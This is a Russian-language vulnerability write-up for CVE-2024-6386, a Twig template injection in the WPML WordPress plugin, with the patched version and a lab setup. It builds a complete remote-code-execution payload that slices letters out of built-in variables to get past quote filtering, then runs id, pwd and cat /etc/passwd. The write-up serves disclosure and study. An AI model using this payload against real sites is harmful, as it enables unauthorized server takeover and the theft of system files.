September 6, 2024

CVE-2024-6386

RCE via Twig SSTI in WPML

CVSS Score: 9.9
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

PoC

github.com/argendo/CVE-2024-6386

Описание

SSTI в плагине WPML, предназначенном для создания и управления многоязычными сайтами на базе WordPress.

Патчи

В версии плагина 4.6.13 и выше уязвимость полностью закрыта.

Стенд

Деплоим тестовое приложение на WordPress и накатываем туда уязвимую версию плагина, например, 4.6.7.

Получаем одностраничник на WP:

Теория

У плагина есть возможность интеграции с WordPress Shortcodes.

Шорткоды нужны для выполнения различных макросов внутри постов WP, например, через них можно добавлять картинкам описание:

При использовании шорткода
[caption]<wave.img>The Great Wave[/caption] мы получим картинку с соответствующей подписью

В случае плагина у нас есть возможность использования шорткода [wpml_language_switcher], он позволяет отображать селектор выбора языка на странице.

Если посмотреть исходники, а именно файл class-wpml-ls-public-api.php, то можно заметить, что функция render обрабатывает этот шорткод как Twig-шаблон:

Атака

SSTI

Раз функция обрабатывает входные данные как Twig-шаблон мы можем попробовать осуществить инъекцию шаблонов:

Создание поста с инъекцией в уязвимый Shortcode

При рендере подобного поста наша инъекция обработается шаблонизатором и мы получим желаемый результат:

Отрендеренный шаблон уязвимого Shortcode

RCE

Несмотря на то, что мы добились SSTI, типичные инъекции для Twig-шаблонов, например, {{['id']|filter('system')}} здесь не применимы так, как WordPress кодирует любые кавычки в HTML.

То есть при выполнении:

Мы просто ничего не получим:

Тем не менее мы можем обойти ограничение на использование кавычек через передачу в шаблон переменной.

Поскольку определить строковую переменную мы не сможем, так как для этого тоже нужны кавычки, будем "нарезать" нужные нам символы из того, что есть.
Для того, чтобы что-то "нарезать", нужно, чтобы было из чего нарезать, то есть какая-то переменная, которая отдаёт текст при обращении к ней.

В самом плагине есть несколько встроенных переменных, к которым мы можем обратиться из контекста, в котором выполняется наш шорткод:

  • languages
  • current_language_code
  • css_classes
  • css_classes_link
{{ 1 }} используется просто как сепаратор

При обращении к ним мы получим следующий результат:

Нас в данном случае интересуют только переменные languages и css_classes.
При этом, стоит отметить, что languages является массивом и при обращении к нему возвращает не строку, а объект, но об этом позже.

Из всего вышеперечисленного мы можем начать собирать наш словарь.

Например, при помощи:

{% set s = css_classes|slice(6,1) %}

мы можем получить переменную s, равную строке 's'.

Для получения же буквы y нам потребуется обратиться к переменной languages, но поскольку она возвращает объект нам необходимо преобразовать его в строку при помощи фильтра join и только потом отрезать нужную нам букву.
То есть для получения y нужно сделать следующее:
{% set y = languages|join|slice(4,1) %}

Формирование необходимого словаря для выполнения минимального списка команд ОС будет выглядеть так:

{% set sp = css_classes|slice(33,1) %}
{% set a = css_classes|slice(10,1) %}
{% set c = css_classes|slice(13,1) %}
{% set i = css_classes|slice(12,1) %}
{% set d = css_classes|slice(23,1) %}
{% set s = css_classes|slice(6,1) %}
{% set y = languages|join|slice(4,1) %}
{% set t = css_classes|slice(9,1) %}
{% set e = css_classes|slice(24,1) %}
{% set m = css_classes|slice(2,1) %}
{% set p = css_classes|slice(1,1) %}
{% set w = css_classes|slice(0,1) %}

Далее нам остаётся лишь сформировать список интересующих нас команд конкатенацией наших переменных-букв:

{% set system = s~y~s~t~e~m %}
{% set pwd = p~w~d %}
{% set id = i~d %}
{% set cat = c~a~t %}
{% set sl = [pwd]|map(system)|join|slice(0,1) %}
{% set passwd = c~a~t~sp~sl~e~t~c~sl~p~a~s~s~w~d %}

Сам же RCE с учетом выше обозначенных переменных можно сделать избегая использования кавычек при помощи команды: {{[id]|map(system)|join}}

В результате исполнения которого мы получим:

Payload

Итоговый payload для выполнения команд id, pwd и cat /etc/passwd будет выглядеть так:

[wpml_language_switcher]
{% set sp = css_classes|slice(33,1) %}
{% set a = css_classes|slice(10,1) %}
{% set c = css_classes|slice(13,1) %}
{% set i = css_classes|slice(12,1) %}
{% set d = css_classes|slice(23,1) %}
{% set s = css_classes|slice(6,1) %}
{% set y = languages|join|slice(4,1) %}
{% set t = css_classes|slice(9,1) %}
{% set e = css_classes|slice(24,1) %}
{% set m = css_classes|slice(2,1) %}
{% set p = css_classes|slice(1,1) %}
{% set w = css_classes|slice(0,1) %}
{% set system = s~y~s~t~e~m %}
{% set pwd = p~w~d %}
{% set id = i~d %}
{% set cat = c~a~t %}
{% set sl = [pwd]|map(system)|join|slice(0,1) %}
{% set passwd = c~a~t~sp~sl~e~t~c~sl~p~a~s~s~w~d %}
{{[id]|map(system)|join}}
{{[pwd]|map(system)|join}}
{{[passwd]|map(system)|join}}
[/wpml_language_switcher]

Статья написана для: @iamargendo